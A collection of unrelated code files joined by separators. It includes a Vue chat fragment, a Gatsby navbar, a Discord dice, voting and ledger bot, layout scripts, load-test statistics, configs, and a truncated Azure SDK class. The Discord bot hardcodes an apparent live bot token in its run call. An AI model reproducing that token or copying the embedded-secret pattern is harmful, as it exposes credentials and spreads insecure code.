function() {
console.log('its alive!');
},
methods:{
dispatchMessage(){
// debugger;
socket.emit('chatmessage', { content: this.message, name: this.nickname || "Anonymous"});
this.message = "";
}
},
components: {
newmessage: ChatMessage
}
}).$mount("#app");
socket.addEventListener("connected", setUserId);
socket.addEventListener('message', appendMessage);
})(); |
import React, { Component } from 'react'
import styled from 'styled-components'
import { Link } from 'gatsby'
import { styles } from '../../../utils'
export default class NavbarLinks extends Component {
state = {
links: [
{
id: 0,
path: '/',
name: 'Home'
},
{
id: 1,
path: '/about',
name: 'About'
},
{
id: 2,
path: '/products',
name: 'Products'
},
{
id: 3,
path: '/drop-off',
name: 'Drop Off'
},
{
id: 4,
path: '/education',
name: 'Education'
},
{
id: 5,
path: '/faq',
name: 'FAQ'
},
{
id: 6,
path: '/contact',
name: 'Contact'
}
]
}
render() {
return (
<LinkWrapper open={this.props.navbarOpen}>
{
this.state.links.map(item => {
return (
<li key={item.id}>
<Link to={item.path} className="nav-link">
{item.name}
</Link>
</li>
)
})
}
</LinkWrapper>
)
}
}
const LinkWrapper = styled.ul`
li {
list-style-type: none;
}
.nav-link {
display: block;
text-decoration: none;
padding: 0.5rem 1rem 0.5rem 1rem;
color: ${styles.colors.mainGrey};
font-weight: 700;
/* text-transform: capitalize; */
cursor: pointer;
${styles.transDefault};
&:hover {
background: ${styles.colors.mainGrey};
color: ${styles.colors.mainGreen};
padding: 0.5rem 1rem 0.5rem 1.3rem;
}
}
height: ${props => (props.open ? '266px' : '0px')};
overflow: hidden;
${styles.transObject({ time: '1s' })};
@media (min-width: 768px) {
height: auto;
display: flex;
margin-left: auto;
margin-right: 0;
.nav-link:hover {
background: ${styles.colors.mainWhite};
padding: 0.5rem 1rem;
}
}
` |
import discord
import asyncio
import rolling
import voting
import pickle
from ledger import Ledger
import string
client = discord.Client()
VERSION = '1.1.4'
qwk_help = """For more specific help type help [topic].
Topics are :
- dice
- voting
- request
- ledger
- ledger_management
- ledger_commands"""
dice_help = """The expression works like a simple equation parser with some extra operators.
The following operators are listed in order of precedence.
The dice (‘d’) operator takes an amount (A) and a number of sides (S), and returns a list of A random numbers between 1 and S. For example: 4d6 may return [6, 3, 2, 4].
If A is not specified, it is assumed you want to roll a single die. d6 is equivalent to 1d6.
Basic integer operations are available: 16 / 8 * 4 + 2 - 1 -> 9.
A set of rolls can be turned into an integer with the total (t) operator. 6d1t will return 6 instead of [1, 1, 1, 1, 1, 1]. Applying integer operations to a list of rolls will total them automatically.
A set of dice rolls can be sorted with the sort (s) operator. 4d6s will not change the return value, but the dice will be sorted from lowest to highest.
The lowest or highest rolls can be selected with ^ and v. 6d6^3 will keep the highest 3 rolls, whereas 6d6v3 will select the lowest 3 rolls."""
voting_help = """Syntax To create Vote
Create Vote ID:[Num] Q:[question] O:[option1, option2, ...] N:[Num Votes]
ID: ID value of the vote.
Q: Question raised or asked, try to keep it simple.
O: Options in a comma separated list.
N: Number of votes each person has. If value is greater then number of options then 1 vote per option is allowed.
Syntax to Vote :
Vote:[ID]:[option1, option2, ...]
List all options you vote on, if you give more options then votes it will say
so. You cannot vote for the same thing twice.
To Delete Vote :
Delete Vote:[ID]
Deletes the vote of ID if possible.
To Save :
Save Votes
Saves votes to file.
To Load :
Load Votes
To Show Current Voting IDs :
Show Vote IDs
To Show Vote Results :
Show Vote: [ID]"""
request_help = """Syntax:
Request: [Request]
This is for requesting changes or features for butter bot.
It will save them so that My Creator can act on them later.
Thank you for the request."""
ledger_help_basic = """Syntax:
A Ledger created by calling.
.L Ledger [Ledger Name]
This will create a ledger with you as the admin of it.
If the ledger already exists in the server you cannot make it again.
I do not suggest creating more then one per server as messages may get mixed.
If you cannot follow through with a transaction in part it will not allow
the transaction as a whole.
Commands once a ledger is made are as follows.
--Adding an account:
.t Add Account [Account Name]
Your account name is the name you will call to make transactions.
Try to remember it.
--Transaction:
.t [Account] gives [Account]: [Value], [Items...]
Value can be any number. Items must be in [Name]: [Amount] format.
Value and all items must be separated by commas.
You can drop value or give as many items as you wish, but you can only give
value first.
EX. Alice gives Bob: 100
Alic gives Bob: Sword:1, Shield:1
Alice gives Bob: 100, Sword:1, Bat:1
-- Buying and selling.
.t [Account] buys [Items...]
.t [Account] sells [Items..]
Items follows the same rules as transactions. You may buy/sell as many as you
wish at a time. The store has infinite items and always has money to buy so
don't worry about stuff running out.
-- Taking from the Pot:
.t [Account] takes from Pot: [Value], [Items...]
This works as the give transaction from earlier, but anyone can take from the
pot.
-- Bank actions:
.t Bank gives [Account]: [Value], [Items...]
.t Bank takes from [Account]: [Value], [Items...]
The Bank may give and take infinitely, but only the admin may do so. The bank
is how all items and currency is added to the system. As a note, anyone may
give to the bank as a way to remove money from the system.
Banks may give items even if said items do not exist, they are automatically
marked as unvalued.
"""
ledger_help_management = """Management Actions:
.t [Account] Balance
Shows you the balance of an account, all money and items that an account has.
Anyone may use this.
.t Rectify
Takes all the current money and items in all accounts, and the pot, and shows
the amount of money each account needs to have to average them all out. Anyone
may use this.
.t Set Value [Item]: [Value]
Sets the value of an item to another value. Anyone can use this if the item has
no value. If an items already has a value only the admin can change it.
.t New Item [Item]: [Value]
This will add a new item to the system with the value given.
[Item] is the name of the item. [Value] is the value of the item. Currently,
only the admin may do this action.
.t Show History [Lines]
This will show you [Lines] number of previous transactions. If lines is not
given it will show you all of them. Please use wisely.
.t Show Items
Shows all items that currently exist. Again, use with caution as it may take
up lots of space.
.t Total Value
Shows all of the current money and items in the system. Does not show
individual accounts, only the sum of the system.
.t Delete Item [Item]
Deletes an item from the library. Only usable by the admin.
--Final Notes:
Don't go crazy with names. There's no guarantee that on what will happen if you
include spaces or : in names. You might get away with other symbols, but please
don't be crazy.
If there is an error, please send a request with info on it.
"""
ledger_help_commands = """Condensed Commands:
** items are in the format '[Name]: [Amount],'
Set Value Expects '[Item Name]: [Item Value]' **
-- .t Ledger [New_Ledger_Name]
-- .t Add Account [Account Name]
-- .t [Account] gives [Account]: [Value], [Items...]
-- .t [Account] takes from Pot: [Value], [Items...]
-- .t [Account] buys [Items...]
-- .t [Account] sells [Items...]
-- .t Bank gives [Account]: [Value], [Items...]
-- .t Bank takes [Account]: [Value], [Items...]
-- .t Set Value [Item]: [Value]
-- .t [Account] Balance
-- .t Rectify
-- .t New Item [Item]: [Value]
-- .t Delete Item [Item]
-- .t Show History [Number of Lines]
-- .t Show Items
-- .t Total Value
-- .t Save
-- .t Load [Name]
-- .t Show Accounts
Non-implemented commands.
-- .t toggle [lock] lock
""" # TODO Add Toggle Lock Commands
admin = '200818099547668490'
votes = voting.voting()
da_books = {}
@client.event
async def on_ready():
print('logged in as')
print(client.user.name)
print('Version %s' % VERSION)
print(client.user.id)
print('-----------------')
def log(*args):
print('-----------------')
for arg in args:
print(arg)
return
@client.event
async def on_message(message):
# if message.author.id != client.user.id:
# await client.send_typing(message.channel)
log(message.author.name, message.channel, message.content)
sp = message.content.split()
if sp[0] == '<@{}>'.format(client.user.id):
if len(sp) <= 1:
await client.send_message(message.channel, 'What do you want?')
elif 'real purpose' in message.content.lower():
await client.send_message(message.channel,
'To roll dice and collect votes.')
elif 'purpose' in message.content.lower():
await client.send_message(message.channel, 'To pass butter')
elif 'help' == sp[1].lower():
if len(sp) <= 2:
await client.send_message(message.channel, qwk_help)
elif sp[2].lower() == 'dice':
await client.send_message(message.channel, dice_help)
elif sp[2].lower() == 'voting':
await client.send_message(message.channel, voting_help)
elif sp[2].lower() == 'request':
await client.send_message(message.channel, request_help)
elif sp[2].lower() == 'ledger':
await client.send_message(message.channel, ledger_help_basic)
elif sp[2].lower() == 'ledger_management':
await client.send_message(message.channel,
ledger_help_management)
elif sp[2].lower() == 'ledger_commands':
await client.send_message(message.channel,
ledger_help_commands)
else:
await client.send_message(message.channel, qwk_help)
elif 'version' in message.content.lower():
await client.send_message(message.channel, VERSION)
elif 'Sepuku' in message.content:
if message.author.id == admin:
client.logout()
client.close()
else:
await client.send_message(message.channel, 'I live to serve. But you are not my admin.')
elif message.content.startswith('.r '): # rolling dice.
await client.send_message(message.channel, rolling.roll(message.content[3:]))
elif message.content.startswith('.L'): # Create ledger
name = message.content.split(' ')
if len(name) != 3:
await client.send_message(message.channel,
"Must give a name to the ledger "
"and cannot have whitespace.")
else:
da_books[message.server] = Ledger(name[2], message.server,
message.author.name,
message.author.id,
"%sStoreKey" % message.author.id)
await client.send_message(message.channel,
"Ledger Created.")
elif message.content.startswith('.t'): # ledger actions.
command = message.content[3:]
if command.startswith('Load '):
name = command.lstrip('Load ')
if True in [c in name for c in string.whitespace]:
await client.send_message(message.channel,
'Name cannot contain whitespace.')
else:
da_books[message.server] = Ledger(name, message.server,
message.author.name,
message.author.id,
"%sStoreKey" %
message.author.id)
da_books[message.server].load_save()
da_books[message.server].load_config()
await client.send_message(message.channel,
'Ledger Loaded.')
elif not da_books.get(message.server, False):
await client.send_message(message.channel,
'No Ledger on this server.')
elif command == 'Save':
da_books[message.server].save()
await client.send_message(message.channel,
'Ledger Saved.')
elif command == 'Show Items':
await client.send_message(message.channel,
da_books[message.server].item_list())
elif command == 'Total Value':
await client.send_message(
message.channel,
da_books[message.server].total_value()[3]
)
elif command == 'Rectify':
await client.send_message(
message.channel,
da_books[message.server].show_rectify()
)
elif command.startswith('Add Account '):
account = message.content[3:].lstrip('Add Account').split(' ')[0]
await client.send_message(
message.channel,
da_books[message.server].add_user(message.author.name, account,
message.author.id)[1]
)
da_books[message.server].save()
elif command.startswith('Show Accounts'):
await client.send_message(
message.channel,
da_books[message.server].show_users()
)
elif command.startswith('Show History'):
if 'Show History' == command:
await client.send_message(
message.channel,
da_books[message.server].transaction_log()
)
else:
await client.send_message(
message.channel,
da_books[message.server].transaction_log(
int(command.lstrip('Show History '))
)
)
elif command.startswith('New Item '):
data = command.lstrip("New Item ")
item, value = data.split(':')
item = item.strip()
value = float(value.strip())
mess = ''
if da_books[message.server].admin_new_item(
message.author.id, item, value):
mess += 'Successfully Added %s.\n' % item
da_books[message.server].save()
else:
mess += 'Item could not be added.\n'
if ',' in item:
mess += 'Item cannot have , in it. Use ; instead.'
await client.send_message(
message.channel,
mess
)
elif command.startswith('Set Value '):
await client.send_message(
message.channel,
da_books[message.server].transaction(command,
message.author.id)
)
da_books[message.server].save()
elif command.startswith('Delete Item '):
item = command.lstrip('Delete Item ')
mess = ''
if da_books[message.server].delete_item(item, message.author.id):
mess += 'Item Successfully deleted.\n'
da_books[message.server].save()
else:
mess += 'Item could not be deleted.\n'
await client.send_message(
message.channel,
mess
)
elif da_books[message.server].is_account_name(command.split()[0]):
if command.split()[1] == 'Balance':
await client.send_message(
message.channel,
da_books[message.server].show_balance(command.split()[0])[3]
)
else:
res = da_books[message.server].transaction(command,
message.author.id)
if res:
await client.send_message(
message.channel,
res
)
else:
await client.send_message(
message.channel,
'Transaction Complete.'
)
da_books[message.server].save()
elif message.content.startswith('Create Vote'):
if message.content.split("ID:")[1].split("Q:")[0].strip() in votes.votes: # id
await client.send_message(message.channel, "Vote already exists. To Overwrite, delete previous first.")
else:
try:
new_vote = votes.create_vote(message.content[11:])
await client.send_message(message.channel, "Vote %s created" % new_vote)
except IndexError as e:
await client.send_message(message.channel, "You didn't put in the vote right. Try again.")
elif message.content.startswith('Save Votes'):
votes.save_votes()
await client.send_message(message.channel, "Votes saved to file.")
elif message.content.startswith('Load Votes'):
votes.load_votes()
await client.send_message(message.channel, 'Votes Loaded')
elif message.content.startswith('Delete Vote:'):
votes.votes.pop(message.content[len('Delete Vote:'):])
await client.send_message(message.channel, 'Deleted '
+ message.content[len('Delete Vote:'):])
elif message.content.startswith('Vote:'):
try:
result = votes.add_votes(message.content[len('Vote:'):],
message.author.id)
await client.send_message(message.channel, result)
except:
await client.send_message(message.channel, 'Please double check your vote, something seems to have gone wrong.')
elif message.content.startswith('Show Vote:'):
try:
result = votes.show_vote(message.content[len('Show Vote:'):].strip())
await client.send_message(message.channel, result)
except KeyError:
await client.send_message(message.channel,
'Vote ID does not exist.')
elif message.content.startswith('Show Vote IDs'):
await client.send_message(message.channel, votes.IDs())
elif message.content.startswith('Request:'):
with open('request_File.txt', 'a') as f:
output = '%s: %s\n' % (message.author.name,
message.content[len('Request:'):].strip())
f.write(output)
await client.send_message(message.channel, "Thank you for the Request.")
elif '<@{}>'.format(client.user.id) in sp or client.user.name in sp:
await client.send_message(message.channel, 'You mentioned me, what do you want.')
client.run('MzUxNzk0ODE1MzM3MzY1NTA0.DIYqlQ.UVrBAuEhmv-N3vQyKlg9s0wkDk4')
|
var attr;
var cards = document.getElementsByClassName("card");
var ids = getCardIDs();
var tempcols = [];
displayCards("hidden");
// array helper, moving by index
function moveTo(array, old_index, new_index) {
if (new_index >= array.length) {
var k = new_index - array.length;
while ((k--) + 1) {
array.push(undefined);
}
}
array.splice(new_index, 0, array.splice(old_index, 1)[0]);
return array;
}
// array helper, sorting by subarray
function sortArray(index, arr) {
arr.sort(function(a,b){return a[index] > b[index]});
}
// move cards with fixed position
function moveCards(fixes, ids) {
for (var j = 0; j < fixes.length; j++) {
if (fixes[j][1] <= ids.length) {
ids = moveTo(ids, ids.indexOf(fixes[j][0]), fixes[j][1]-1);
}
} return;
}
// get card id, position and sortorder
function getCardIDs() {
var ids = [];
var fixes = getFixedPositions();
for (var i = 0; i < cards.length; i++) {
if (cards[i].id !== "") {
ids.push(cards[i].id);
}
}
sortArray(1, fixes);
moveCards(fixes, ids);
return ids;
}
// get fixed positions
function getFixedPositions() {
var fixes = [];
for (var i = 0; i < cards.length; i++) {
if (cards[i].getAttribute("fixedposition") !== "0" && cards[i].getAttribute("fixedposition") !== null) {
fixes.push([cards[i].id, cards[i].getAttribute("fixedposition")]);
}
}
return fixes;
}
// switch visibility
function displayCards(attr) {
for (var i = 0; i < cards.length; i++) {
if (cards[i].id !== "") {
document.getElementById(cards[i].id).style.visibility = attr;
}
}
return;
}
// preparing array for tempcols
function setTempcols(cols) {
for (i = 0; i < cols; i += 1) {
tempcols.push([]);
}
return;
}
// push new order to tempcols
function pushOrder(cols, tempcols, i) {
for (j = 0; j < cols; j += 1) {
tempcols[j].push(ids[i+j]);
}
return;
}
// get the ids and doing new sorting
function getColumns(cols) {
setTempcols(cols);
for (i = 0; i < ids.length; i += 1) {
if (i % cols === 0) {
pushOrder(cols, tempcols, i);
}
}
return tempcols;
}
// append cards with new sorting to columns
function appendCards(i, tempcols) {
var chicken, egg;
for (j = 0; j < tempcols[0].length; j+=1) {
chicken = document.getElementById(''+tempcols[i][j]);
egg = document.getElementById(''+tempcols[i][j+1]);
if (egg !== null) {
chicken.appendChild(egg);
}
} return;
}
// main function for building the new and sorted layout
function sortLayout(cols) {
var tempcols = getColumns(cols);
for (i = 0; i < tempcols.length; i+=1) {
var parent = document.getElementById('column-'+i);
var child = document.getElementById(''+tempcols[i][0]);
if (child !== null) {
parent.insertBefore(child, parent.firstChild);
}
appendCards(i, tempcols);
}
}
// on (re)load
window.onload = function(e) {
breakpointChange();
displayCards("visible");
// hide spinner
var spinner = document.getElementById('spinner').style.display = "none";
}
// reload page after resizing, doing sorting again
window.addEventListener('resize', function () {
setTimeout(function(){
window.location.reload(true);
breakpointChange();
});
});
// check size and give sorting
function breakpointChange() {
var width = window.innerWidth;
if (width < 768) {
sortLayout(1);
}
else if (width >= 768 && width < 992) {
sortLayout(2);
}
else if (width >= 992 && width < 1200) {
sortLayout(3);
}
else if (width >= 1200) {
sortLayout(4);
}
}
// sticky pager, scroll indicator
var doc = document.body.clientHeight;
var h = window.innerHeight;
window.onscroll = function() {
// get indicator
var y = window.scrollY;
var max = Math.round(doc/h);
var step = Math.round(y/h);
var mobilepager = document.getElementById('mobilepager');
document.getElementById("indicator").innerHTML = "";
for (i = 0; i < max; i++) {
document.getElementById("indicator").innerHTML += "<div id='ind"+i+"' style='margin: auto; background: #FFF; width: 33px; height: 4px;'></div>";
}
document.getElementById("ind"+step+"").style.border = "1px solid #000";
if (mobilepager.className !== "mobilepager fade-in") {
mobilepager.className = "mobilepager fade-in";
setTimeout(function(){ mobilepager.className = "mobilepager fade-out"; }, 4000);
}
};
|
const rsa = require('node-rsa')
function make_sign(post_data, APPSECRET) {
const keys = []
const post_list = []
for (let i in post_data) {
keys.push(i)
}
keys.sort()
for (let key of keys) {
post_list.push(`${key}=${encodeURIComponent(post_data[key])}`)
// 转义数字必须大写
}
const sign = `${post_list.join("&")}${APPSECRET}`
return sign
}
function make_rsa(text, pubkey) {
let key = new rsa(pubkey)
key.setOptions({
encryptionScheme: 'pkcs1'
})
const encrypted = key.encrypt(text, 'base64')
return encrypted
}
module.exports = {
make_sign,
make_rsa
} |
var stats = {
type: "GROUP",
name: "Global Information",
path: "",
pathFormatted: "group_missing-name-b06d1",
stats: {
"name": "Global Information",
"numberOfRequests": {
"total": "147",
"ok": "147",
"ko": "0"
},
"minResponseTime": {
"total": "23",
"ok": "23",
"ko": "-"
},
"maxResponseTime": {
"total": "1224",
"ok": "1224",
"ko": "-"
},
"meanResponseTime": {
"total": "142",
"ok": "142",
"ko": "-"
},
"standardDeviation": {
"total": "212",
"ok": "212",
"ko": "-"
},
"percentiles1": {
"total": "32",
"ok": "32",
"ko": "-"
},
"percentiles2": {
"total": "164",
"ok": "164",
"ko": "-"
},
"percentiles3": {
"total": "514",
"ok": "514",
"ko": "-"
},
"percentiles4": {
"total": "1025",
"ok": "1025",
"ko": "-"
},
"group1": {
"name": "t < 800 ms",
"count": 144,
"percentage": 98
},
"group2": {
"name": "800 ms < t < 1200 ms",
"count": 2,
"percentage": 1
},
"group3": {
"name": "t > 1200 ms",
"count": 1,
"percentage": 1
},
"group4": {
"name": "failed",
"count": 0,
"percentage": 0
},
"meanNumberOfRequestsPerSecond": {
"total": "0.197",
"ok": "0.197",
"ko": "-"
}
},
contents: {
"req_create-registry-9455b": {
type: "REQUEST",
name: "Create registry instance",
path: "Create registry instance",
pathFormatted: "req_create-registry-9455b",
stats: {
"name": "Create registry instance",
"numberOfRequests": {
"total": "30",
"ok": "30",
"ko": "0"
},
"minResponseTime": {
"total": "245",
"ok": "245",
"ko": "-"
},
"maxResponseTime": {
"total": "1224",
"ok": "1224",
"ko": "-"
},
"meanResponseTime": {
"total": "434",
"ok": "434",
"ko": "-"
},
"standardDeviation": {
"total": "204",
"ok": "204",
"ko": "-"
},
"percentiles1": {
"total": "369",
"ok": "369",
"ko": "-"
},
"percentiles2": {
"total": "466",
"ok": "466",
"ko": "-"
},
"percentiles3": {
"total": "832",
"ok": "832",
"ko": "-"
},
"percentiles4": {
"total": "1137",
"ok": "1137",
"ko": "-"
},
"group1": {
"name": "t < 800 ms",
"count": 28,
"percentage": 93
},
"group2": {
"name": "800 ms < t < 1200 ms",
"count": 1,
"percentage": 3
},
"group3": {
"name": "t > 1200 ms",
"count": 1,
"percentage": 3
},
"group4": {
"name": "failed",
"count": 0,
"percentage": 0
},
"meanNumberOfRequestsPerSecond": {
"total": "0.04",
"ok": "0.04",
"ko": "-"
}
}
},"req_check-instance--969e3": {
type: "REQUEST",
name: "Check instance status",
path: "Check instance status",
pathFormatted: "req_check-instance--969e3",
stats: {
"name": "Check instance status",
"numberOfRequests": {
"total": "57",
"ok": "57",
"ko": "0"
},
"minResponseTime": {
"total": "24",
"ok": "24",
"ko": "-"
},
"maxResponseTime": {
"total": "397",
"ok": "397",
"ko": "-"
},
"meanResponseTime": {
"total": "35",
"ok": "35",
"ko": "-"
},
"standardDeviation": {
"total": "49",
"ok": "49",
"ko": "-"
},
"percentiles1": {
"total": "27",
"ok": "27",
"ko": "-"
},
"percentiles2": {
"total": "29",
"ok": "29",
"ko": "-"
},
"percentiles3": {
"total": "36",
"ok": "36",
"ko": "-"
},
"percentiles4": {
"total": "208",
"ok": "208",
"ko": "-"
},
"group1": {
"name": "t < 800 ms",
"count": 57,
"percentage": 100
},
"group2": {
"name": "800 ms < t < 1200 ms",
"count": 0,
"percentage": 0
},
"group3": {
"name": "t > 1200 ms",
"count": 0,
"percentage": 0
},
"group4": {
"name": "failed",
"count": 0,
"percentage": 0
},
"meanNumberOfRequestsPerSecond": {
"total": "0.077",
"ok": "0.077",
"ko": "-"
}
}
},"req_get-instance-ur-a10da": {
type: "REQUEST",
name: "Get instance url",
path: "Get instance url",
pathFormatted: "req_get-instance-ur-a10da",
stats: {
"name": "Get instance url",
"numberOfRequests": {
"total": "30",
"ok": "30",
"ko": "0"
},
"minResponseTime": {
"total": "23",
"ok": "23",
"ko": "-"
},
"maxResponseTime": {
"total": "36",
"ok": "36",
"ko": "-"
},
"meanResponseTime": {
"total": "28",
"ok": "28",
"ko": "-"
},
"standardDeviation": {
"total": "3",
"ok": "3",
"ko": "-"
},
"percentiles1": {
"total": "27",
"ok": "27",
"ko": "-"
},
"percentiles2": {
"total": "30",
"ok": "30",
"ko": "-"
},
"percentiles3": {
"total": "34",
"ok": "34",
"ko": "-"
},
"percentiles4": {
"total": "36",
"ok": "36",
"ko": "-"
},
"group1": {
"name": "t < 800 ms",
"count": 30,
"percentage": 100
},
"group2": {
"name": "800 ms < t < 1200 ms",
"count": 0,
"percentage": 0
},
"group3": {
"name": "t > 1200 ms",
"count": 0,
"percentage": 0
},
"group4": {
"name": "failed",
"count": 0,
"percentage": 0
},
"meanNumberOfRequestsPerSecond": {
"total": "0.04",
"ok": "0.04",
"ko": "-"
}
}
},"req_delete-registry-2fda3": {
type: "REQUEST",
name: "Delete registry instance",
path: "Delete registry instance",
pathFormatted: "req_delete-registry-2fda3",
stats: {
"name": "Delete registry instance",
"numberOfRequests": {
"total": "30",
"ok": "30",
"ko": "0"
},
"minResponseTime": {
"total": "58",
"ok": "58",
"ko": "-"
},
"maxResponseTime": {
"total": "1112",
"ok": "1112",
"ko": "-"
},
"meanResponseTime": {
"total": "167",
"ok": "167",
"ko": "-"
},
"standardDeviation": {
"total": "230",
"ok": "230",
"ko": "-"
},
"percentiles1": {
"total": "70",
"ok": "70",
"ko": "-"
},
"percentiles2": {
"total": "77",
"ok": "77",
"ko": "-"
},
"percentiles3": {
"total": "551",
"ok": "551",
"ko": "-"
},
"percentiles4": {
"total": "955",
"ok": "955",
"ko": "-"
},
"group1": {
"name": "t < 800 ms",
"count": 29,
"percentage": 97
},
"group2": {
"name": "800 ms < t < 1200 ms",
"count": 1,
"percentage": 3
},
"group3": {
"name": "t > 1200 ms",
"count": 0,
"percentage": 0
},
"group4": {
"name": "failed",
"count": 0,
"percentage": 0
},
"meanNumberOfRequestsPerSecond": {
"total": "0.04",
"ok": "0.04",
"ko": "-"
}
}
}
}
}
function fillStats(stat){
$("#numberOfRequests").append(stat.numberOfRequests.total);
$("#numberOfRequestsOK").append(stat.numberOfRequests.ok);
$("#numberOfRequestsKO").append(stat.numberOfRequests.ko);
$("#minResponseTime").append(stat.minResponseTime.total);
$("#minResponseTimeOK").append(stat.minResponseTime.ok);
$("#minResponseTimeKO").append(stat.minResponseTime.ko);
$("#maxResponseTime").append(stat.maxResponseTime.total);
$("#maxResponseTimeOK").append(stat.maxResponseTime.ok);
$("#maxResponseTimeKO").append(stat.maxResponseTime.ko);
$("#meanResponseTime").append(stat.meanResponseTime.total);
$("#meanResponseTimeOK").append(stat.meanResponseTime.ok);
$("#meanResponseTimeKO").append(stat.meanResponseTime.ko);
$("#standardDeviation").append(stat.standardDeviation.total);
$("#standardDeviationOK").append(stat.standardDeviation.ok);
$("#standardDeviationKO").append(stat.standardDeviation.ko);
$("#percentiles1").append(stat.percentiles1.total);
$("#percentiles1OK").append(stat.percentiles1.ok);
$("#percentiles1KO").append(stat.percentiles1.ko);
$("#percentiles2").append(stat.percentiles2.total);
$("#percentiles2OK").append(stat.percentiles2.ok);
$("#percentiles2KO").append(stat.percentiles2.ko);
$("#percentiles3").append(stat.percentiles3.total);
$("#percentiles3OK").append(stat.percentiles3.ok);
$("#percentiles3KO").append(stat.percentiles3.ko);
$("#percentiles4").append(stat.percentiles4.total);
$("#percentiles4OK").append(stat.percentiles4.ok);
$("#percentiles4KO").append(stat.percentiles4.ko);
$("#meanNumberOfRequestsPerSecond").append(stat.meanNumberOfRequestsPerSecond.total);
$("#meanNumberOfRequestsPerSecondOK").append(stat.meanNumberOfRequestsPerSecond.ok);
$("#meanNumberOfRequestsPerSecondKO").append(stat.meanNumberOfRequestsPerSecond.ko);
}
|
const graphql = require("graphql");
const { GraphQLSchema } = graphql;
const query = require("./queries");
const mutation = require("./mutations");
/**
* Combines `query` and `mutation` into a `GraphQLSchema`
* @returns {GraphQLSchema}
*/
module.exports = new GraphQLSchema({
query,
mutation
}); |
const { pathsToModuleNameMapper } = require('ts-jest/utils');
const { compilerOptions } = require('./tsconfig');
module.exports = {
preset: 'ts-jest',
testMatch: ['<rootDir>/src/**/*.spec.{ts,tsx}'],
testEnvironment: 'jsdom',
globals: {
'ts-jest': {
tsConfig: './tsconfig.json',
},
},
transform: {
'^.+\\.(t|j)sx?$': 'ts-jest',
'.+\\.(css|png|jpg|svg|ttf|woff|woff2)$': 'jest-transform-stub',
},
moduleDirectories: ['node_modules', 'src'],
moduleFileExtensions: ['ts', 'tsx', 'js', 'json'],
moduleNameMapper: pathsToModuleNameMapper(compilerOptions.paths),
setupFiles: ['<rootDir>/test-setup.ts', 'jest-localstorage-mock'],
verbose: true,
collectCoverage: true,
};
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
import uuid
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
from msrest.polling import LROPoller, NoPolling
from msrestazure.polling.arm_polling import ARMPolling
from .. import models
class ServerAzureADOnlyAuthenticationsOperations(object):
"""ServerAzureADOnlyAuthenticationsOperations operations.
You should not instantiate directly this class, but create a Client instance that will create it for you and attach it as attribute.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
:ivar authentication_name: The name of server azure active directory only authentication. Constant value: "Default".
:ivar api_version: The API version to use for the request. Constant value: "2020-02-02-preview".
"""
models = models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.authentication_name = "Default"
self.api_version = "2020-02-02-preview"
self.config = config
def get(
self, resource_group_name, server_name, custom_headers=None, raw=False, **operation_config):
"""Gets a specific Azure Active Directory only authentication property.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ServerAzureADOnlyAuthentication or ClientRawResponse if
raw=true
:rtype: ~azure.mgmt.sql.models.ServerAzureADOnlyAuthentication or
~msrest.pipeline.ClientRawResponse
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = self.get.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'authenticationName': self._serialize.url("self.authentication_name", self.authentication_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ServerAzureADOnlyAuthentication', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/azureADOnlyAuthentications/{authenticationName}'}
def _create_or_update_initial(
self, resource_group_name, server_name, azure_ad_only_authentication, custom_headers=None, raw=False, **operation_config):
parameters = models.ServerAzureADOnlyAuthentication(azure_ad_only_authentication=azure_ad_only_authentication)
# Construct URL
url = self.create_or_update.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'authenticationName': self._serialize.url("self.authentication_name", self.authentication_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'ServerAzureADOnlyAuthentication')
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
